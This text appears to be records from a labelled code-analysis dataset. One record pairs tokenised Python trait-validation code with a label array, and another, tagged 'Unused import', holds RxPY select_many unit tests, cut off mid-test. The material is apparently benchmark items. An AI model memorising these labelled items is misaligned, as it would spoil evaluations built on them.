"\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "notif", "y", "\\u", "trait_", "(_", "self_", ",_", "name_", ",_", "old", "\\u", "value_", ",_", "new", "\\u", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fi", "rst", " ", "dynami", "c", " ", "ones_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "calla", "bles_", "=_", "self_", "._", "\\u", "tra", "it", "\\u", "notifier", "s_", "._", "get_", "(_", "name_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "more", "\\u", "calla", "bles_", "=_", "self_", "._", "\\u", "tra", "it", "\\u", "notifier", "s_", "._", "get_", "(_", "'", "anyt", "rai", "t", "'_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "calla", "bles_", "._", "extend_", "(_", "more", "\\u", "calla", "bles_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "static", " ", "ones_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cb_", "=_", "getattr_", "(_", "self_", ",_", "'\\u", "%", "s", "\\u", "change", "d", "'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "calla", "bles_", "._", "append_", "(_", "cb_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Call", " ", "them", " ", "all", " ", "now_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "c_", "in_", "calla", "bles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Trait", "s", " ", "catche", "s", " ", "and", " ", "logs", " ", "error", "s", " ", "here", ".", " ", " ", "I", " ", "allow", " ", "them", " ", "to", " ", "raise_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "callable_", "(_", "c_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "argspec_", "=_", "inspect_", "._", "getargs", "pec_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nargs_", "=_", "len_", "(_", "argspec_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Bound", " ", "method", "s", " ", "have", " ", "an", " ", "addition", "al", " ", "'", "self", "'", " ", "argument_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "I", " ", "don", "'", "t", " ", "know", " ", "how", " ", "to", " ", "treat", " ", "unbound", " ", "method", "s", ",", " ", "but", " ", "the", "y_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "can", "'", "t", " ", "reall", "y", " ", "be", " ", "used", " ", "for", " ", "callback", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "c_", ",_", "types_", "._", "Meth", "od", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "offset_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "offset_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "nargs_", "+_", "offset_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "c_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "nargs_", "+_", "offset_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "c_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "nargs_", "+_", "offset_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "c_", "(_", "name_", ",_", "new", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "nargs_", "+_", "offset_", "==_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "c_", "(_", "name_", ",_", "old", "\\u", "value_", ",_", "new", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Trait", "Error_", "(_", "'", "a", " ", "tra", "it", " ", "change", "d", " ", "callback", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "must", " ", "have", " ", "0", "-", "3", " ", "argu", "ment", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Trait", "Error_", "(_", "'", "a", " ", "tra", "it", " ", "change", "d", " ", "callback", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "must", " ", "be", " ", "calla", "ble", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Type_", "(_", "Class", "Base", "d", "Trait", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "validate_", "(_", "self_", ",_", "obj_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Validate", "s", " ", "tha", "t", " ", "the", " ", "value", " ", "is", " ", "a", " ", "valid", " ", "object", " ", "instance", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "issubclass_", "(_", "value_", ",_", "self_", "._", "klass_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "value_", "is_", "None_", ")_", "and_", "(_", "self_", "._", "\\u", "allow", "\\u", "none_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "error_", "(_", "obj_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CI", "nt_", "(_", "Int_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validate_", "(_", "self_", ",_", "obj_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "int_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "error_", "(_", "obj_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CL", "ong_", "(_", "Long_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validate_", "(_", "self_", ",_", "obj_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "long_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "error_", "(_", "obj_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CF", "loat_", "(_", "Float_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validate_", "(_", "self_", ",_", "obj_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "float_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "error_", "(_", "obj_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CC", "omp", "lex_", "(_", "Complex_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validate_", "(_", "self_", ",_", "obj_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "complex_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "error_", "(_", "obj_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CB", "ytes_", "(_", "Bytes_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validate_", "(_", "self_", ",_", "obj_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "bytes_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "error_", "(_", "obj_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CU", "nico", "de_", "(_", "Unicode_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validate_", "(_", "self_", ",_", "obj_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "unicode_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "error_", "(_", "obj_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CB", "ool_", "(_", "Bool_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validate_", "(_", "self_", ",_", "obj_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "bool_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "error_", "(_", "obj_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CR", "eg", "Exp_", "(_", "Trait", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "validate_", "(_", "self_", ",_", "obj_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "re_", "._", "compile_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "error_", "(_", "obj_", ",_", "value_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ReactiveX/RxPY/tests/test_observable/test_selectmany.py
[ { "content": "import unittest\n\nfrom rx.observable import Observable\nfrom rx.testing import TestScheduler, ReactiveTest, is_prime\n\non_next = ReactiveTest.on_next\non_completed = ReactiveTest.on_completed\non_error = ReactiveTest.on_error\nsubscribe = ReactiveTest.subscribe\nsubscribed = ReactiveTest.subscribed\ndisposed = ReactiveTest.disposed\ncreated = ReactiveTest.created\n\n \nif __name__ == '__main__':\n unittest.main()", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestSelectMany(unittest.TestCase):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n ", "metadata": "root.TestSelectMany", "header": "['module', '___EOS___']", "index": 13 }, { "content": " def test_select_many_then_complete_complete(self):\n scheduler = TestScheduler()\n xs = scheduler.create_cold_observable(on_next(100, 4), on_next(200, 2), on_next(300, 3), on_next(400, 1), on_completed(500))\n ys = scheduler.create_cold_observable(on_next(50, \"foo\"), on_next(100, \"bar\"), on_next(150, \"baz\"), on_next(200, \"qux\"), on_completed(250))\n \n def factory():\n return xs.select_many(ys)\n\n results = scheduler.start(factory)\n \n results.messages.assert_equal(on_next(350, \"foo\"), on_next(400, \"bar\"), on_next(450, \"baz\"), on_next(450, \"foo\"), on_next(500, \"qux\"), on_next(500, \"bar\"), on_next(550, \"baz\"), on_next(550, \"foo\"), on_next(600, \"qux\"), on_next(600, \"bar\"), on_next(650, \"baz\"), on_next(650, \"foo\"), on_next(700, \"qux\"), on_next(700, \"bar\"), on_next(750, \"baz\"), on_next(800, \"qux\"), on_completed(850))\n xs.subscriptions.assert_equal(subscribe(200, 700))\n ys.subscriptions.assert_equal(subscribe(300, 550), subscribe(400, 650), subscribe(500, 750), subscribe(600, 850))", "metadata": "root.TestSelectMany.test_select_many_then_complete_complete", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 15 }, { "content": " def test_select_many_then_complete_complete_2(self):\n scheduler = TestScheduler()\n xs = scheduler.create_cold_observable(on_next(100, 4), on_next(200, 2), on_next(300, 3), on_next(400, 1), on_completed(700))\n ys = scheduler.create_cold_observable(on_next(50, \"foo\"), on_next(100, \"bar\"), on_next(150, \"baz\"), on_next(200, \"qux\"), on_completed(250))\n\n def factory():\n return xs.select_many(ys)\n results = scheduler.start(factory)\n \n results.messages.assert_equal(on_next(350, \"foo\"), on_next(400, \"bar\"), on_next(450, \"baz\"), on_next(450, \"foo\"), on_next(500, \"qux\"), on_next(500, \"bar\"), on_next(550, \"baz\"), on_next(550, \"foo\"), on_next(600, \"qux\"), on_next(600, \"bar\"), on_next(650, \"baz\"), on_next(650, \"foo\"), on_next(700, \"qux\"), on_next(700, \"bar\"), on_next(750, \"baz\"), on_next(800, \"qux\"), on_completed(900))\n xs.subscriptions.assert_equal(subscribe(200, 900))\n ys.subscriptions.assert_equal(subscribe(300, 550), subscribe(400, 650), subscribe(500, 750), subscribe(600, 850))", "metadata": "root.TestSelectMany.test_select_many_then_complete_complete_2", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def test_select_many_then_never_complete(self):\n scheduler = TestScheduler()\n xs = scheduler.create_cold_observable(on_next(100, 4), on_next(200, 2), on_next(300, 3), on_next(400, 1), on_next(500, 5), on_next(700, 0))\n ys = scheduler.create_cold_observable(on_next(50, \"foo\"), on_next(100, \"bar\"), on_next(150, \"baz\"), on_next(200, \"qux\"), on_completed(250))\n results = scheduler.start(lambda: xs.select_many(ys))\n \n results.messages.assert_equal(on_next(350, \"foo\"), on_next(400, \"bar\"), on_next(450, \"baz\"), on_next(450, \"foo\"), on_next(500, \"qux\"), on_next(500, \"bar\"), on_next(550, \"baz\"), on_next(550, \"foo\"), on_next(600, \"qux\"), on_next(600, \"bar\"), on_next(650, \"baz\"), on_next(650, \"foo\"), on_next(700, \"qux\"), on_next(700, \"bar\"), on_next(750, \"baz\"), on_next(750, \"foo\"), on_next(800, \"qux\"), on_next(800, \"bar\"), on_next(850, \"baz\"), on_next(900, \"qux\"), on_next(950, \"foo\"))\n xs.subscriptions.assert_equal(subscribe(200, 1000))\n ys.subscriptions.assert_equal(subscribe(300, 550), subscribe(400, 650), subscribe(500, 750), subscribe(600, 850), subscribe(700, 950), subscribe(900, 1000))", "metadata": "root.TestSelectMany.test_select_many_then_never_complete", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 42 }, { "content": " def test_select_many_then_complete_never(self):\n scheduler = TestScheduler()\n xs = scheduler.create_cold_observable(on_next(100, 4), on_next(200, 2), on_next(300, 3), on_next(400, 1), on_completed(500))\n ys = scheduler.create_cold_observable(on_next(50, \"foo\"), on_next(100, \"bar\"), on_next(150, \"baz\"), on_next(200, \"qux\"))\n results = scheduler.start(lambda: xs.select_many(ys))\n \n results.messages.assert_equal(on_next(350, \"foo\"), on_next(400, \"bar\"), on_next(450, \"baz\"), on_next(450, \"foo\"), on_next(500, \"qux\"), on_next(500, \"bar\"), on_next(550, \"baz\"), on_next(550, \"foo\"), on_next(600, \"qux\"), on_next(600, \"bar\"), on_next(650, \"baz\"), on_next(650, \"foo\"), on_next(700, \"qux\"), on_next(700, \"bar\"), on_next(750, \"baz\"), on_next(800, \"qux\"))\n xs.subscriptions.assert_equal(subscribe(200, 700))\n ys.subscriptions.assert_equal(subscribe(300, 1000), subscribe(400, 1000), subscribe(500, 1000), subscribe(600, 1000))", "metadata": "root.TestSelectMany.test_select_many_then_complete_never", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 52 }, { "content": " def test_select_many_then_complete_error(self):\n ex = 'ex'\n scheduler = TestScheduler()\n xs = scheduler.create_cold_observable(on_next(100, 4), on_next(200, 2), on_next(300, 3), on_next(400, 1), on_completed(500))\n ys = scheduler.create_cold_observable(on_next(50, \"foo\"), on_next(100, \"bar\"), on_next(150, \"baz\"), on_next(200, \"qux\"), on_error(300, ex))\n results = scheduler.start(lambda: xs.select_many(ys))\n \n results.messages.assert_equal(on_next(350, \"foo\"), on_next(400, \"bar\"), on_next(450, \"baz\"), on_next(450, \"foo\"), on_next(500, \"qux\"), on_next(500, \"bar\"), on_next(550, \"baz\"), on_next(550, \"foo\"), on_error(600, ex))\n xs.subscriptions.assert_equal(subscribe(200, 600))\n ys.subscriptions.assert_equal(subscribe(300, 600), subscribe(400, 600), subscribe(500, 600), subscribe(600, 600))", "metadata": "root.TestSelectMany.test_select_many_then_complete_error", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 62 }, { "content": " def test_select_many_then_error_complete(self):\n ex = 'ex'\n scheduler = TestScheduler()\n xs = scheduler.create_cold_observable(on_next(100, 4), on_next(200, 2), on_next(300, 3), on_next(400, 1), on_error(500, ex))\n ys = scheduler.create_cold_observable(on_next(50, \"foo\"), on_next(100, \"bar\"), on_next(150, \"baz\"), on_next(200, \"qux\"), on_completed(250))\n results = scheduler.start(lambda: xs.select_many(ys))\n \n results.messages.assert_equal(on_next(350, \"foo\"), on_next(400, \"bar\"), on_next(450, \"baz\"), on_next(450, \"foo\"), on_next(500, \"qux\"), on_next(500, \"bar\"), on_next(550, \"baz\"), on_next(550, \"foo\"), on_next(600, \"qux\"), on_next(600, \"bar\"), on_next(650, \"baz\"), on_next(650, \"foo\"), on_error(700, ex))\n xs.subscriptions.assert_equal(subscribe(200, 700))\n ys.subscriptions.assert_equal(subscribe(300, 550), subscribe(400, 650), subscribe(500, 700), subscribe(600, 700))", "metadata": "root.TestSelectMany.test_select_many_then_error_complete", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 73 }, { "content": " def test_select_many_then_error_error(self):\n ex = 'ex'\n scheduler = TestScheduler()\n xs = scheduler.create_cold_observable(on_next(100, 4), on_next(200, 2), on_next(300, 3), on_next(400, 1), on_error(500, ex))\n ys = scheduler.create_cold_observable(on_next(50, \"foo\"), on_next(100, \"bar\"), on_next(150, \"baz\"), on_next(200, \"qux\"), on_error(250, ex))\n results = scheduler.start(lambda: xs.select_many(ys))\n \n results.messages.assert_equal(on_next(350, \"foo\"), on_next(400, \"bar\"), on_next(450, \"baz\"), on_next(450, \"foo\"), on_next(500, \"qux\"), on_next(500, \"bar\"), on_error(550, ex))\n xs.subscriptions.assert_equal(subscribe(200, 550))\n ys.subscriptions.assert_equal(subscribe(300, 550), subscribe(400, 550), subscribe(500, 550))", "metadata": "root.TestSelectMany.test_select_many_then_error_error", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 84 }, { "content": " def test_select_many_complete(self):\n scheduler = TestScheduler()\n xs = scheduler.create_hot_observable(on_next(5, scheduler.create_cold_observable(on_error(1, 'ex1'))), on_next(105, scheduler.create_cold_observable(on_error(1, 'ex2'))), on_next(300, scheduler.create_cold_observable(on_next(10, 102), on_next(90, 103), on_next(110, 104), on_next(190, 105), on_next(440, 106), on_completed(460))), on_next(400, scheduler.create_cold_observable(on_next(180, 202), on_next(190, 203), on_completed(205))), on_next(550, scheduler.create_cold_observable(on_next(10, 301), on_next(50, 302), on_next(70, 303), on_next(260, 304), on_next(310, 305), on_completed(410))), on_next(750, scheduler.create_cold_observable(on_completed(40))), on_next(850, scheduler.create_cold_observable(on_next(80, 401), on_next(90, 402), on_completed(100))), on_completed(900))\n \n def factory():\n return xs.select_many(lambda x: x)\n results = scheduler.start(factory)\n \n results.messages.assert_equal(on_next(310, 102), on_next(390, 103), on_next(410, 104), on_next(490, 105), on_next(560, 301), on_next(580, 202), on_next(590, 203), on_next(600, 302), on_next(620, 303), on_next(740, 106), on_next(810, 304), on_next(860, 305), on_next(930, 401), on_next(940, 402), on_completed(960))\n xs.subscriptions.assert_equal(subscribe(200, 900))\n xs.messages[2].value.value.subscriptions.assert_equal(subscribe(300, 760))\n xs.messages[3].value.value.subscriptions.assert_equal(subscribe(400, 605))\n xs.messages[4].value.value.subscriptions.assert_equal(subscribe(550, 960))\n xs.messages[5].value.value.subscriptions.assert_equal(subscribe(750, 790))\n xs.messages[6].value.value.subscriptions.assert_equal(subscribe(850, 950))", "metadata": "root.TestSelectMany.test_select_many_complete", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 96 }, { "content": " def test_select_many_complete_inner_not_complete(self):\n scheduler = TestScheduler()\n xs = scheduler.create_hot_observable(on_next(5, scheduler.create_cold_observable(on_error(1, 'ex1'))), on_next(105, scheduler.create_cold_observable(on_error(1, 'ex2'))), on_next(300, scheduler.create_cold_observable(on_next(10, 102), on_next(90, 103), on_next(110, 104), on_next(190, 105), on_next(440, 106), on_completed(460))), on_next(400, scheduler.create_cold_observable(on_next(180, 202), on_next(190, 203))), on_next(550, scheduler.create_cold_observable(on_next(10, 301), on_next(50, 302), on_next(70, 303), on_next(260, 304), on_next(310, 305), on_completed(410))), on_next(750, scheduler.create_cold_observable(on_completed(40))), on_next(850, scheduler.create_cold_observable(on_next(80, 401), on_next(90, 402), on_completed(100))), on_completed(900))\n\n def factory():\n return xs.select_many(lambda x: x)\n results = scheduler.start(factory)\n \n results.messages.assert_equal(on_next(310, 102), on_next(390, 103), on_next(410, 104), on_next(490, 105), on_next(560, 301), on_next(580, 202), on_next(590, 203), on_next(600, 302), on_next(620, 303), on_next(740, 106), on_next(810, 304), on_next(860, 305), on_next(930, 401), on_next(940, 402))\n xs.subscriptions.assert_equal(subscribe(200, 900))\n xs.messages[2].value.value.subscriptions.assert_equal(subscribe(300, 760))\n xs.messages[3].value.value.subscriptions.assert_equal(subscribe(400, 1000))\n 